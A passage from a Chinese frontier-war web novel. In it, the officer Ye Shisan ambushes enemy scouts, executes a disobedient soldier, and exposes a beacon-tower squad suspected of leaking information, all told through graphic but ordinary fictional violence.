一阵夜风吹过,枯叶沙沙作响,像是在向潜伏者们发出的预警。
裹紧皮袍的兵卒们,握刀的手心已满是汗水,他们的心跳沉稳有力,仿佛在和着夜的节奏,只等鞑子踏入这精心布置的死亡陷阱。
突然,离叶十三不远处,两声瘆人猫头鹰叫声响起。
所有人都警惕了起来,这是吴六子发出的警讯。
不多时,远处传来了轻微的脚步声,那声音在寂静的夜里格外清晰。
脚步声慢慢地向叶十三们这边靠近,几个黑色的身影,在月光下逐渐清晰起来。
空气仿佛凝固了一般,叶十三给一支强弩扣上了一支弩箭,随时准备射出致命的一箭。
一个,两个,三个……九个。
月光下共有九条黑影,随着黑影们小心翼翼地向这边移动过来,手中的弯刀不时地在月光下泛起一片银光。
“呱……呱呱……呱……”
突然,有诡异的蛙鸣声响起。
向叶十三这边移动过来的黑影们,顿时停了下来齐齐竖起耳朵捕捉着蛙鸣的来源地。
数九寒天,此地又无水塘,这蹊跷的蛙鸣声,不觉让九条黑影慌乱了起来。
“嗖!”
从一堆刺蓬的间隙中,一支弩箭带着一点寒星,瞬间就隐没在一条黑影的咽喉不见了踪影。
“咕咚!”
静夜下重物倒地的响声,惊得另外八条黑影,霎时就四散奔逃。
“嗖!”
又是一点寒星,从刚才的刺蓬下激射而出,带着尖锐的破空之声,就隐没在另一条黑影的后心不见。
“扑通!”
第二条黑影倒地的声音,比方才那条动静大多了。
黑影倒地后,两条腿不断地在地上蹬踏个不停,嗓子里发出含糊不清的怪叫试图站立起来。
这时候,隐藏下来的兵卒们如猛虎出笼,以迅雷不及掩耳之势,向四散开来的另外七条黑影扑去。
一时间,喊杀声、兵器的碰撞声交织在一起,在月夜下回荡。
银亮的钢刀,在相互撞击下迸溅出一片又一片的火星,慌乱地抵抗着的黑影们,很快就陷入了崩溃的边缘。
他们万没想到,会在这里遇到伏击。
而且,这些手持大夏钢刀的伏击者们,步伐沉稳丝毫不乱,手中兵器刀刀封喉,每一次出击都是杀招。
“噗噗”两声,叶十三从刺蓬后面一跃而下,落在被包围着的黑影们中间,手中的残刀左右一挥,两个黑影的肩膀上已经没有了脑袋。
“中计了!”
突然一条黑影惊恐万状地喊道:“快撤,我们被包围了。”
第89章 有内奸
迟了,一切都迟了。
“啊……”
惊叫者的声音,还没完全落下,瘦小的吴六子就地一滚,在从一条身材高大的黑影胯下钻过的瞬间,手中的短刀顺势向上划过。
身材高大的黑影,顿时扔掉了手中的弯刀,双手捂着裆部惨叫不停。
这叫声,比方才“猫头鹰”的叫声还要瘆人几分。
“咔嚓!”
在巨疼下弯下腰来的黑影,后脖颈上随即就吃了从地上又一跃而起的吴六子的一刀。
随着一股人血的喷溅,剩下的四条黑影,也被另外几个兵卒倒逼着退了回来。
包围圈越来越小,剩下的四条黑影背靠着背站着,手中泛着寒光的弯刀,横在胸前做起了防护的架势。
“你们一起上,砍了这四个杂碎。”
包围圈外面,叶十三残刀已经入鞘,背着双手冷冷地看着眼前的黑影。
“大人,不如留个活口,审问一下更好?”
吴六子转过头来,向叶十三发声的位置问了一句。
“全杀了,一个都不留。”
叶十三声音冷到了极点,丝毫没有动摇的意思。
“大人,好歹留着一个,也好审问内奸的事。”
吴六子不死心,又是一句。
“杀!”
叶十三此时压根不考虑审问谁是内奸的事,一心要让最后四个鞑子死。
“别杀我,我有你们想知道的事……”
这时候,一个已经魂飞魄散的鞑子,直接扔掉手中的弯刀,跪了下来拱手求饶。
“咔嚓……”
话还没说完,他的脑袋,就被另一个抱着决一死战的鞑子一刀砍下。
“呸!”
砍了同伴脑袋的鞑子,狠狠地唾了一口在他眼前缓缓倒下去的同伴,狂喊道:“来呀,有本事就把老子也杀了!”
喊叫声中,最后三个鞑子,抡圆了弯刀就冲向吴六子。
他发现,只有这个大夏兵卒个头最小,从这里突然胜算比较大些。
哪知道?
他犯了个最低级的错误。
这个个头最小的大夏兵卒,也就是包围着他的兵卒里面,最为凶狠的一个。
也是计谋最多的一个。
不料,就在他们手中的刀,一起砍向吴六子脑袋的时候,眼前的吴六子不但没有向后躲避,更没有挥刀招架抵挡,而是身子猛然一缩,顺势向前一滚,而且手中的短刀,倒拖着向上用力一挑。
“啊……疼死……”
一刀走空的一个鞑子,被胯下一凉后随即袭上大脑的巨疼,导致喊疼的惨叫声都走了调。
另外两个鞑子一击不成,直接向元蒙方向狂奔而去。
几名探马纵身而起,高举着佩刀奋力直追。
“当啷!”
方才吃了吴六子一刀,叉着腿立在月光下的鞑子黑影,手中的弯刀掉了下来。
同时和弯刀一起掉地的,还有从他喷血的胯下被割下来的一堆零碎玩意儿。
惨白的月光照在鞑子黑影惨白又极度扭曲的脸上,就像照着一张画着丑陋五官的白纸。
“咚!”
叉着两腿的鞑子黑影,双膝重重地跪在地上的血泊中,颤声道:“别,别杀我……”
方才还砍杀同伴,大骂同伴胆小鬼的鞑子,此时已经跪地求饶。
“你们的消息从何得来?”
叶十三目光冷冷,走上前去轻蔑地一瞥,单刀直入就问。
鞑子抬起头来,一脸恐慌地说道:“是烽火台的人。”
烽火台的人?
这个消息,倒让在场的人大吃一惊。
要知道,当值的烽燧兵,轻易是不能离开烽火台的。
一个示警传讯的烽燧兵,却把自己人的消息,第一时间透露给了敌人?
“是何人?”
“这个,我就不知道了,没人知道他的姓名,我们之间只是交换……”
“杀了!”
鞑子的话很说完,面颊一阵急抽的叶十三,后退两步,严厉的下了杀令。
“噗嗤”几声响过,六把佩刀,已经把跪倒在地的鞑子捅成了个蜂窝。
随着六把佩刀的同时抽出,浑身向四周喷着血箭的鞑子,软塌塌的就躺在地上一动不动。
这时候,追赶逃窜而去的两个鞑子的四名探马也提着刀返回。
“大人,被那两个狗贼逃脱了。”
禀报的探马垂头丧气,让两个鞑子逃脱,这是今夜一战的败笔。
但叶十三却不以为然,摆摆手说道:“把这七个人的脑袋,全都砍下来,示众三日后,上交军部领赏。”
七个鞑子的脑袋,也能领一份赏银了。
只可惜,这是七个鞑子,却没有穿任何的甲胄,全是厚厚的皮袍。
无任何甲胄的鞑子兵,被称为白身,白身的赏银是最低的,一个才给五两银子。
在内地,五两银子是不少了。
边城的饷银,是内地的两倍。
由于各种物资都要经过长途运输到边城,所以物价要比内地贵三倍还不止。
如此一来,这五两银子能买的东西,还不足内地的三成。
虱子也是肉,有了总比没有的好。
吴六子们很快就割下了鞑子的脑袋用刀尖挑着,大摇大摆地就往回走。
路上,吴六子问道:“大人,这次偷袭,鞑子派出的人怎会如此之少?”
叶十三笑道:“这九人,只是鞑子放出来的探马,其他人一定在边境处等消息,如果消息属实,他们会全部出动,再一次洗劫大营抢粮的,说不定,如此之多的粮食,会派出更多的力来的。”
“哪鞑子为何不直接行动,而是先放出探马?”
“他们怕有陷阱,想想看,他们血洗了沙柳滩村,军部一定会派兵支援,眼下粮食已经运来了,只是兵力多少他们无法得知,这才放探马过来。”
“原来是这样啊?”
吴六子点点头,这才明白鞑子为何没有倾巢出动。
没错,沙柳滩村被血洗,军部肯定不会坐视不管。
既然有那么多的粮食被运到沙柳滩村,那么同时部署的兵力绝对不少。
但令鞑子万万没想到的是,那些粮食,是叶十三查抄了泰丰粮行得来。
而沙柳滩村的兵力,几乎没有援军,只有这一十二人罢了。
忽然,叶十三像是又想到什么?
“等等,这些探马,应该是骑马而来,不然,他们如何向那边传递信息?”
这话有道理,这些探马要是探得虚实,不可能燃火传讯,派人步行返回报信,恐怕天都亮了。
他们一定有马?
“大人,您的意思是,我们搜一搜?”
“没错,顺着这些鞑子探马来的方向,沿路搜寻五里地。”
叶十三说完,直接转身,向鞑子探马们来时的方向,又一路摸了过去。
半个时辰后,还真在离伏击地六里左右的一处树林中,发现了被拴在树上的九匹战马。
那九匹战马,无一例外的都用羊皮包住四蹄,这样一来,奔跑的时候就没有了巨大的声响。
在看到了战马的时候,叶十三又改变主意了。
月光正好,视力范围俱佳,如此月色如洗之夜,何不杀个痛快?
“但愿逃掉的那两个狗贼,没有赶在我们前面向他们的人报信。”
叶十三眉头一皱,把牙咬得“吱吱”作响。
第90章 杀!给老子狠狠杀
“大人,眼下该如何?”
吴六子知道,叶十三的目的,不仅仅是为了鞑子探马骑来的这几匹战马。
“杀!”
叶十三向元蒙的方向看了一眼,声音冷得就像来自地狱。
“杀不得啊大人,这么好的战马,对我们有用的!”
一听叶十三让杀,一名兵卒急得嚷了起来。
吴六子转过身去,顺势就给那个兵卒来了一个脖儿拐,骂道:“大人是让杀鞑子,谁让杀这些战马了?”
“那……鞑子在哪儿?”
挨了一抽的兵卒,不服气地又嘟囔道:“这三更半夜的,除了他们藏在这树林里的九匹战马,两个鞑子又逃得不见踪影,还哪有人啊?”
“混账,不会动动脑子?”
吴六子抬脚又踹,兵卒脖子一缩急忙又躲,嘴里继续嘟囔道:“除了我们,这地方鬼影都不见一个……”
叶十三摇摇头,愠色说道:“既然鞑派出探马,难道后面没有大队人马等消息?”
“啊……”
这下,兵卒懂了,惊叫道:“大人的意思,是把那些等待消息的鞑子们给找出来?”
“还不算太蠢,上马!”
叶十三骂了一句,率先翻身上了马背。
由于战马只有九匹不够骑乘,身材瘦小的人,两人合乘一匹。
被羊皮包住马蹄的战马,在月光下一路疾驰,沉闷的马蹄声依然扬起一股烟尘。
“向平坦地带走!”
叶十三跑了一阵后,勒转马头向侧方跑了过去。
“要是等消息的鞑子准备了马车这些,一定不会选择崎岖的地带驻扎。”
说着,叶十三已经跑出了百十步远。
“大人快看!”
突然,吴六子催马跟了上来,用刀指着左前方,低声道:“那边应该是有人,不是树木或者山石。”
叶十三看到,左前方隐隐约约出现了一溜黑影,就像一排高矮不一的窝棚。
“噤声,准备战斗!”
显然,那一溜黑影,根本不是什么窝棚。
在大夏与元蒙的交界处,是不可能有窝棚的。
就是牧民的毡帐,也不会选择这种地方驻扎。
元蒙境内,和西河镇接壤的方圆内,半荒漠地带也是没有鞑子放牧的。
所以,平时这一片区域,是属于最安全的了。
可这个在布防上被视为最安全的区域,却发生了近年来最严重的洗劫和屠杀。
鞑子也是有智谋的,不惜长途跋涉,特意选了这么一处防务薄弱的环节突袭成功。
“他们是牧民,不是骑兵。”
叶十三压低了声音,继续说道:“冲过去,能杀多少算多少,就当给你们练胆祭刀了。”
这些探马兵卒,自从跟着郑一刀训练过一段时间,还真没正面和鞑子厮杀过。
就方才杀的那七人,光叶十三一人就弄死了四个,他们十一人所杀的,也只有三个鞑子而已。
人数占优势的战斗,是完全显示不出自身实力的。
叶十三此刻的目的,就是要看看他们这些人的作战能力究竟如何?
“大人的话,你们都听明白了?”
吴六子压低了声音,继续把叶十三的意图表达道:“一会冲过去,只管杀人就是,考验我们的时候到了,也好出出这口恶气!”
“仓啷……”
所有的探马兵卒,都齐刷刷亮出了手中的佩刀。
十一匹战马,由吴六子打头,迅速在月光下排成一个锥形,这个队形,就像一支箭簇,只等一声令下直插敌人心脏。
吴六子手中高举着的佩刀一挥,十一匹战马嘶鸣着就向黑影处冲了过去。
叶十三点点头,双腿一马肚,也紧跟了上去。
前面的黑影,果然是等候消息的鞑子。
为数不少的马车,头朝着沙柳滩村的方向摆开,裹着皮袍的鞑子们,都蜷缩在车上昏昏欲睡。
为了安全起见,他们强忍着旷野中的寒风,居然连篝火都没敢生。
面对直冲过来的七匹战马,带头的鞑子不免一阵惊喜。
看来,今夜又能得手。
没等他把昏昏欲睡的同伴们招呼起来,一道寒星带着破空之声,从他的咽喉一隐而入。
随即,带头鞑子的后颈处,在月光下喷出一簇血花。
是叶十三出手了,他目测得出来,吴六子不是鞑子带头人的对手。
带兵要狠,但也要慈。
这就是叶十三仁慈的一面。
带头的鞑子仰面栽倒之时,吴六子的马,也刚好冲到马车旁边。
只见吴六子手中的刀,从下而上斜挑而起,带头的鞑子在落地之前,就被吴六子凌空搂掉了脑袋。
“咔嚓!”
刀刃剔开骨缝的声音,居然是那么的丝滑。
“敌袭,敌袭,不是我们的人……”
瞬间警觉过来的鞑子们,霎时就乱作了一团。
就在这瞬间的混乱下,几乎每个探马兵卒都一袭成功,手中的佩刀都已经见血,十个鞑子眨眼间就被砍落在地。
“杀,给老子狠狠杀!”
身材瘦小的吴六子,喉咙中却吼出了猛虎一样的声音。
受惊的马拉着空车,开始四散奔逃起来,一些没来及跳下车的鞑子,被挂住一条腿,被马车拖着在坚硬的地面上一路摩擦而去。
这下,叶十三只是出手射死了带头的鞑子,再也没有拔刀动手。
他端立在马背上,目视着吴六子们疯狂地砍杀。
也许是鞑子们被吴六子们的气势所震,行动也就迟缓了那么一点,一息之间,已经有十一人为此送命。
在这种凌厉的攻势震慑下,鞑子们不免更加慌乱起来,这一慌乱,已经气馁了三分,又有几人被砍杀在地。
“撤……”
发觉势头不妙的一个鞑子惊叫一声,然后丢下同伴就狂奔而去。
这一跑,无心恋战的鞑子们,一个接一个没命地四下逃窜。
穷寇莫追。
毕竟是夜间,月光再亮,但视线所及的范围距离还是有限,好在叶十三并没有下令追击残敌。
杀在兴头上的探马兵卒们,这才收了刀,然后查探起现场来。
一,二,三……一十六,一十七。
“禀报千户大人,此战共歼敌一十七名,缴获马车九辆。”
吴六子及时向叶十三禀报了战绩。
“都是白身?”
“是的大人,一十七具尸体,皆为皮袍白身,无一革甲或者铁甲……”
“行了!”
端坐于马上的叶十三,点点头道:“兵器都别落下,脑袋都给砍了,和之前的那七个脑袋装一起运回村子,跑散的马车先不管了,回去后让驻军出动查找。”
眼下现场只有九辆马车,其他受惊的马,早拉着马车四散跑得没影了。
据判断,这次过来的鞑子,人数应该有三四十人之多。
这些人,说不定就是前几天屠村的那伙鞑子。
吴六子接过叶十三的话头,高声又吼道:“大人的话都听清了?抓紧时间打扫战场,即刻返回驻军大营。”
第91章 拖出去砍了
到达驻军大营,天还没亮。
大获全胜的探马兵卒们,兴奋得没有了瞌睡。
驻军百夫长郭威亲自当值,在见到凯旋后的叶十三时,被惊讶得合不拢嘴。
“大人,鞑子真的来了?”
郭威望着还在向外渗血的麻袋,已经猜到里面装的是何物?
麻袋表面的那些凸起,就像夏天运输的西瓜。
除了人头,还有何物像西瓜一样如此装着?
“去,全体集合!”
叶十三往椅子上一坐,让郭威把驻军集合起来。
“这……”
郭威一怔,眼下天还没亮,远不到出操的时间,除了当值兵卒外,其他人正在酣睡中的。
叶十三就要这种紧迫的效果,来改掉沙柳滩驻军平日里养成的懒散习惯。
“呜呜呜……”
驻军大营栅门口塔哨上的牛角号被吹响。
叶十三一瞥身侧的探马兵卒们,沉声道:“听好了,两人一间营房,三息之内还未睁眼的兵卒,拿鞭子给他们醒醒脑子。”
拿鞭子抽反应缓慢的兵卒?
吴六子笑了,然后转头厉声道:“拿好你们手中的马鞭,三息时间还没下炕的,好好给醒醒大头梦!”
“是!”
十名探马兵卒,紧握着手中的马鞭,一脸坏笑地就冲了出去。
“呜呜呜……”
又是一阵晨操的号角在哨塔响起,各个营房里面,同时也传出了“噼啪”爆响的鞭子声。
“你去看看!”
叶十三听着不断响起的鞭子声和咒骂声,对吴六子继续说道:“不服管教者,先领二十军棍。”
吩咐这些的时候,叶十三就当百夫长郭威不存在的样子,只管对探马兵卒们吩咐如何去做。
不一刻,衣衫不整的驻军兵卒们,都被集中在院子里。
有的人脚上还光着,有的只穿了一只靴子,有的人靴子是穿了,但革甲还在手中提着。
有些兵卒浑身上下倒是穿戴完整,但空着的两只手中,却没拿任何武器。
叶十三背着双手,缓缓走到房间门口,扫了一眼院子里乌泱泱的驻军兵卒们,大声吼道:“今夜是第一次检查作息,行动缓慢者,也不作处罚了,限你们在最短的时间内披挂整齐了。”
正说着的时候,院角的一间营房内,传来激烈的撕打声。
“大人,有人不服管教,和刘二娃打起来了。”
营房里冲出来一个探马兵卒,带着一脸的抓痕来到叶十三面前。
“不服管教?”
叶十三眉头一皱,面色随即就冷了下来,沉声道:“去,将不服管教者,给我带出来!”
一声令下,提着马鞭的探马兵卒们,狼一样冲进院角的营房,把一名虎背熊腰的驻军兵卒给押了出来。
“禀大人,他叫‘唐兴’,是大营中有名的摔跤手。”
看到叶十三面色不悦,郭威赶快上前,向叶十三介绍着被押了出来的那名兵卒。
“砍了!”
叶十三直截了当,冷声就是一句。
砍了?
就因为没有及时集结,就要被砍头?
“大人,这?”
郭威急了,向叶十三抱拳一礼,惊道:“唐兴罪不该死,就是处罚,也不过是领军棍而已,大人何故非杀他不可?”
“何故?”
叶十三转过头来,提高了声调怒道:“就凭沙柳滩村死伤的上百老小,就凭你驻军大营近二百多人的死伤,晨号吹响,三息内不知苏醒,被鞭罚后还敢抗命不遵,如此视军纪如儿戏,这种人该不该杀?”
“难怪你三百多兵马的驻军大营,被不足五十兵数的鞑子如无人之境肆意砍杀,身为戍边驻军,非常时期警惕何在?”
“军纪散漫,军务不振,如此饭桶废物,留他何用?”
叶十三一口气三连数袁兴的罪责,身为百夫长的郭威,不禁汗如雨下。
这不光是袁兴一人的问题,而是针对沙柳滩村全部驻军的鞭挞。
鞭抽已经是轻的了,目的就是让他们惊醒着些。
这二货唐兴倒好,挨了鞭子后一骨碌爬起来,就和鞭打他的人干了起来。
执行鞭刑的是谁?
那可是叶十三的亲随,黄羊岘防区千户大人亲选出来的骑兵探马。
如果放在前世的现代,那就是部队的纠察。
叶十三的一番三连问,就连挨过皮鞭的驻军兵卒们,也纷纷低下头来。
唐兴倒好,也许是平时蛮横惯了,挣扎着站了起来,怒吼道:“哪条军规写了睡醒迟了就要挨鞭子?”
草!
这二货,还真是还在睡梦中呢!
老子不是追责,就已经很体恤你们这帮怂包货了。
在老子决定立威,唤醒你们这帮怂包的血性的时候,帮助你们克服对鞑子畏惧的时候,你这死到临头的二货,还居然跟老子叫起板来了?
面对唐兴的咆哮,叶十三冷笑道:“鞑子在你驻地屠杀百姓,血洗大营,抢劫粮食财物的时候,可曾听你讲过军规该如何来写?”
只一句,唐兴便哑口无言,愤愤地把脸扭向一边。
叶十三上前两步,提高了声调吼道:“我来告诉你好了,军纪军规,不是白纸上用墨笔写的,那是用无数次失败的鲜血谱写,用生命的尊严来捍卫,就你这等饭桶,还配在本千户面前谈军规?”
“拖出去,砍了!”
说完,叶十三陡然色变,一声怒吼就下了军令。
叶十三的话,就像一把锤子,敲打在每个兵卒的心上。
“饶命啊大人,小的知错了……”
唐兴那货,终于怂了。
被两名探马兵卒从左右架着胳膊,倒拖着走出驻军大营的时候,居然嚎叫着求饶。
吴六子手按在腰间佩刀上,快步就紧跟了出去。
“饶命啊……大人……”
渐行渐远的求饶声,在一片惊慌中戛然而止,寒风中瑟瑟发抖的兵卒们,这才意识到,这新来的千户杀伐是如此决断!
第92章 似曾熟悉的难闻味道
不一刻,吴六子提着还在滴血的佩刀回来。
在场的人都知道,叶十三这是杀鸡给猴看。
“百夫长何在?”
突然,叶十三又是怒吼一声。
“回大人话,末将在。”
郭威惊慌失措地从叶十三身后出来,弓腰低头站在叶十三面前。
叶十三的目光,并没有看向眼前的郭威,而是环视一圈大营院子,高声道:“鞑子并非刀枪不入,犯我疆域的鞑子贼匪,脑袋照样被本千户给砍了,可是鞑子用来抢劫我大夏百姓的马车,却是跑散了不少,现你带领现有兵马,赶午时开饭前,将鞑子遗散的马车给找回来。”
“末将遵命!”
心头陡然一惊的郭威,立刻就让兵卒们穿戴整齐,拿起武器就向三十里外和元蒙的交界处狂奔而去……
其实,叶十三比那些兵卒们还要紧张。
如果驻军兵卒们烂泥扶不上墙,这才是叶十三最怕的。
为了掩饰自己内心深度的不安,叶十三以补觉的借口,爬上炕去蒙头就睡。
这一觉,还真睡了个自然醒。
待叶十三醒来,吴六子早已在屋里侯着。
桌上的饭菜,已经被热过三次了。
“大人,百夫长在外面候着!”
“哦!”
叶十三使劲地揉揉两边的太阳穴,问道:“郭威回来了?”
“回来了大人,还算是小有收获,找见了三辆跑散的马车,还有一匹坠崖的马。”
“好,既然坠崖折断了腿,那马也废了,不如宰了,给大伙改善伙食。”
听到屋里的叶十三如此一说,在外面候着的郭威,这才长出了一口气。
不多时候,伙房里散发出来的肉香味儿,霎时就飘满了大营。
兵卒们更是激动不已,这是自打从军以来,第一次缴获鞑子的战利品。
这些马车,大多都是从沙柳滩村被抢去的。
他们在寻找跑散了的马匹的时候,发现了两处拼杀现场,地上还没干涸的血迹表明,叶十三他们一行十二人,在昨夜曾经和鞑子接连拼杀两场。
地上惊心怵目的血泊,还有被砍掉了脑袋的鞑子尸体,他们都顿觉鞑子并不是那么可怕,只是他们自己太弱了。
有的兵卒,干脆用手中的刀,对着地上鞑子已经没有了脑袋的尸体就是一通狂砍,直到鞑子的尸体被砍成了一堆肉渣,他们才觉得很是解气。
多日的仇恨,屈辱,都在这种疯狂的乱砍中得以发泄。
那种一见鞑子就胆怯的兵卒们,这时候心中也是杀机澎湃。
此时,他们队列整齐,丝毫都没觉得饿,齐齐站在大营院中等待叶十三发话。
片刻后,上面浇着炖马肉的干饭,被端上了桌,吴六子从营房中出来,扫了一眼神情肃然的兵卒们,淡淡说道:“开饭。”
轻描淡写的一句开饭,早已饥肠辘辘的兵卒们,立刻涌向饭桌,各自端起海碗就回各自的营房用饭。
桌旁打饭的火头军,一勺干饭,半勺带汤的马肉,一时间忙得满头大汗。
此时,叶十三已经吃饱。
“来人!”
“末将在!”
百夫长郭威,赶忙放下碗筷,双手直垂站在叶十三面前。
“挑选一名什长,套一辆马车带上人,就你们找回来的马车随便拉一辆出来,把那些人头,给送到镇上衙门去。”
此言一出,吴六子急了,惊道:“大人,不是说要把这些鞑子的人头,送军部请赏的吗?”
“算了!”
叶十三摆摆手,道:“鞑子白身的人头,值不了几个钱,再说军部要是欠着嘉奖,岂不是白忙活一场?”
搭白条,那可是上面一贯的作风。
斜瞥吴六子一眼,叶十三接着又道:“让驻军把鞑子白身的人头送镇上衙门,在衙门口一字摆开,也好让衙门的大人和镇上的百姓看看,要让他们知道,鞑子不是刀枪不入,脑袋照样能被我大夏兵士砍下来当夜壶。”
明白了!
不但吴六子明白了,就连百夫长郭威,此时也明白了叶十三的用意。
郭威向叶十三躬身一礼,然后急匆匆退了出去。
片刻后,郭威又来到叶十三面前。
“大人,都安排好了。”
“嗯!”
叶十点点头,伸了个懒腰,望了一眼窗外已晚的天色,又道:“你带十个人跟着我,去烽火台。”
这么晚了,去烽火台?
对于叶十三的命令,郭威哪敢质疑?
加上吴六子的人,总共二十多人迅速出发。
不大时候,到了烽火台壕沟前面。
沙柳滩村的烽火台,由于地势原因,进入通道时要通过一座吊桥。
这个烽火台,也是十人编制。
“叫门,不要提我到了。”
叶十三站在郭威身后,沉声一句。
郭威找了一处高地,用手搭在嘴上喊道:“快放下吊桥,例行检查。”
“谁呀?”
好一会,瞭望垛口才探出一颗脑袋,懒洋洋向下面一望。
“原来是百夫长大人,请稍等。”
垛口探出的脑袋,又缩了回去。
半天时间过去了,就在郭威想骂娘的时候,“扎扎扎”一阵响动,吊桥被缓缓放了下来。
叶十三让郭威走在最前面,一行人立刻就进入了烽火台底层。
一股貌似熟悉的难闻味道,霎时就扑鼻而来。
叶十三耸耸鼻子,眉头就皱了起来。
这种死鱼烂虾的臭味中,还夹杂着一股腥膻和劣质脂粉的混合香气。
一个疑问,即刻从叶十三的脑海中升起。
这股子味道,他似乎闻到过。
“今夜谁当值?”
走在最前面的郭威,冷着脸对开通道门的烽燧兵就是一问。
“回百夫长大人话!”
烽燧兵眼里闪过一丝惊慌,目光不由地一瞥隧道,低声禀道:“是小的们和什长大人当值。”
“高七何在?”
郭威眉头一皱,一脸不悦地看向烽燧兵,这自己都到了烽火台,作为什长的高七却没有出迎?
这一问,烽燧兵脸上一红,不由得又向燧道瞥了一眼。
叶十三顺着烽燧兵的目光,向隧道一瞥,一种熟悉的场景,霎时就出现在脑海。
难闻的混合味道,隧道的火塘?
“滚出来!”
叶十三目光如炬,大步向燧道走去。
在离燧道口两步时,那股味道热烘烘的味道扑面而来。
张寡妇?
叶十三脑子里第一反应,就是那个一身肥膘的寡妇。
也就在这个时候,沙柳滩村烽火台什长高七,哈着腰从燧道中钻了出来。
“百夫长大人息怒,是小的当值,此时轮番休息……”
高七一边辩解,一边掩着皮袍的衣襟抬头就望。
“混账东西!”
郭威阴沉着脸,怒目瞪向慌里慌张的高七,厉声又道:“还不见过千户叶大人?”
千户叶大人?
叶十三?
差点和叶十三撞个满怀的高七,眼里闪过一丝惊慌,随即就像被雷击了一样呆立当场。
第93章 这个女人就是祸根
“混账!”
郭威看到高七就像石像一样立着,顿时破口大骂起来。
“瞎了你的狗眼,还不快快拜见千户叶大人?”
“滚开!”
叶十三没等呆若木鸡的高七有所动作,怒吼一声,向后扬扬手,道:“把里面的人给我揪出来!”
里面有人?
郭威懵了。
可吴六子没懵,拔出佩刀一弯腰就钻进了燧道。
“轻点啊,你这死瘦猴,弄疼老娘了……”
一阵女人发嗲的叫声,即刻从燧道中传了出来。
“有女人在里面?”
郭威面色大变,嘴角一阵抽搐,冲着高七骂道:“烽火台何其重要,值守期间居然带女人在燧道厮混,你眼里还有军法吗?”
“大人息怒!”
猛然回过神来的高七,面颊一抽,讪笑道:“是家属,家属给小的送吃的,这天晚了,赶不回村了,这就……”
这辩解的腔调,叶十三好像听过。
没错!
当初在黄羊岘烽火台,何虎也是这样说的。
“千户大人,您看……”
神情尴尬的郭威,一阵头大后,讪讪地看向叶十三。
叶十三早晨才下令斩了目无军纪、懈怠晨号的唐兴,这才不过一天时间,他辖下的烽火台,又出了私藏女人的这等事。
这让叶十三要是问责的话,他这个百夫长也就干到头了。
说不定,一顿军棍也是挨定了。
“沙柳滩村烽燧兵什长高七,参见千户叶大人。”
这时候,高七硬着头皮,一脸惊慌地在叶十三面前跪了下来。
“哼!”
叶十三鼻子里冷哼一声,背着双手转身走到靠墙的一张椅子上坐了。
也就在这时候,吴六子赶着一个身高体壮的肥胖妇人从燧道中出来。
当肥胖妇人的目光,隔空与叶十三的目光相撞的那一刻,一股尿水就顺着两只裤管流了一地。
“民妇,见过叶大人。”
“张寡妇,我们又见面了。”
“叶大人……明鉴……民妇……真是来送吃的……”
“够了,你拿老子的话当耳旁风?”
叶十三摆摆手,皱着眉头打断了张寡妇语无伦次的辩解。
张寡妇?
沙柳滩村,好像没这么一号人?
这个肥婆娘,好像和叶大人认识?
满脑子疑问的郭威,讪讪地向叶十三说道:“原来是千户大人的熟人,这事……”
“是熟人!”
叶十三嘴角一扬,目光看向郭威身后的驻军兵卒,道:“上去两人,把瞭望哨换下来。”
“遵命!”
站在最前面的两名兵卒,立刻顺着步梯,上了烽火台的顶上,把原本值瞭望哨的两个烽燧兵给换了下来。
此时,沙柳滩村烽火台当值的四个烽燧兵,全都在叶十三面前站成一排。
叶十三目光炯炯,从除了高七外的四人的脸上,又一阵扫过,冷声道:“你们几个,都睡过她了?”
低着头的四个烽燧兵,霎时就陷入了沉默。
“都哑巴了?叶大人问你们话呢!”
脸上一阵火烧般滚烫的郭威,冲着沉默不语的四个烽燧兵怒吼起来。
此时他才明白,这个肥婆娘压根不是谁的家属,而是一个靠着卖身混日子的暗娼。
半掩着的皮袍下,隐约可见的一对羊尾油一样的肥奶在晃动,足矣说明是这个女人皮肉生涯的本钱所在。
“小的,是和她有过亲密……”终于,有人带头开口了。
紧接着,又有一个烽燧兵低声说道:“这几天,她都在这里,轮流和弟兄们耍……”
“行了!”
眉头紧蹙的叶十三,眼里寒芒闪动,一扬手就打断了郭威继续要问的话,他也懒得听这些烽燧兵们的坦白。
这种烂事,他听着都反胃。
就张寡妇那一身肥膘和身上散发的味道,足矣让他把前世吃过的年夜饭都吐出来。
叶十三真有把张寡妇拉到河滩上,砸开一个冰窟窿给塞进去洗洗的冲动。
知道做错了事的烽燧兵们,忐忑不安地站在那里,只等叶十三发落了。
作为最底层的烽燧兵们,平时见到的最高长官,也就是甲正和百夫长,至于千户级别的,在他们眼里那就是大人物了。
尽管叶十三是个下千户,可在这些烽燧兵眼里,那就是这里的一层天。
“请千户大人恕罪!”
四个烽燧兵齐齐跪了下来。
“即刻收拾好你们的东西,限半烛香时间离开烽火台,至于军法处置,本千户网开一面,就免了。”
说完,叶十三目光冷冷,视线又移到郭威脸上,缓缓说道:“沙柳滩烽火台现编人员,一律革除军职,遣散他们回原籍。”
“大人开恩啊!”
“大人啊,小的不想离开,小的家里还有老小要养活啊!”
“求大人网开一面,小的家里都断炊很久了,就靠小的这一份粮饷活命啊!”
“千户大人,小的知错了……”叶十三不顾四个烽燧兵的苦苦哀求,眼里寒芒一闪,怒道:“半柱香后,还不离开此地者,一律按擅闯军事禁区论处!”
擅闯军事禁区?
那可是重罪啊!轻的判罚苦役,情节严重的可问斩。
此言一出,连郭威都后背出汗,浑身不禁微抖起来。
“还不快滚?”
生怕牵连到自己的郭威,差点就把离他最近的一个烽燧兵踹翻在地。
四个烽燧兵求告无望,慌忙爬了起来去收拾自己的东西。
革除军职!
证明他们已经没有了吃粮的资格,而且还会变成地方衙门严重监控的对象。
无论是古代还是现代,逃避兵役和被革除军职者,永远都是不受待见的。
不大一会,四个背着铺盖,交出了佩刀和弓箭的烽燧兵们,恓惶的离开了烽火台消失在夜幕中。
“该你了!”
叶十三把脑袋向椅子上一靠,目光冷冷盯着地上跪着的高七,淡淡又道:“本千户不大喜欢用刑,你还是自己说了吧!”
不大喜欢用刑?
那就是说,如果交代不彻底,叶十三会一怒之下杀人砍头。
“请千户大人恕罪,小的不该扛不住诱惑,让这骚娘们进入烽火台……”
高七猛然抬头,用手一指旁边瑟瑟发抖的张寡妇,立即就是一通辩解。
“高家老七,放你娘的臭狗屁!”
见高七想洗清自己,把脏水往她头上泼的张寡妇,索性破罐子破摔,张口打断高七的话大骂道:“老娘我这辈子欠你高家兄弟的了?需要的时候,巴不得把老娘的一身肉都给吞了,眼下有麻烦了,你这龟孙子把麻烦都推老娘这里了……”
高家兄弟?
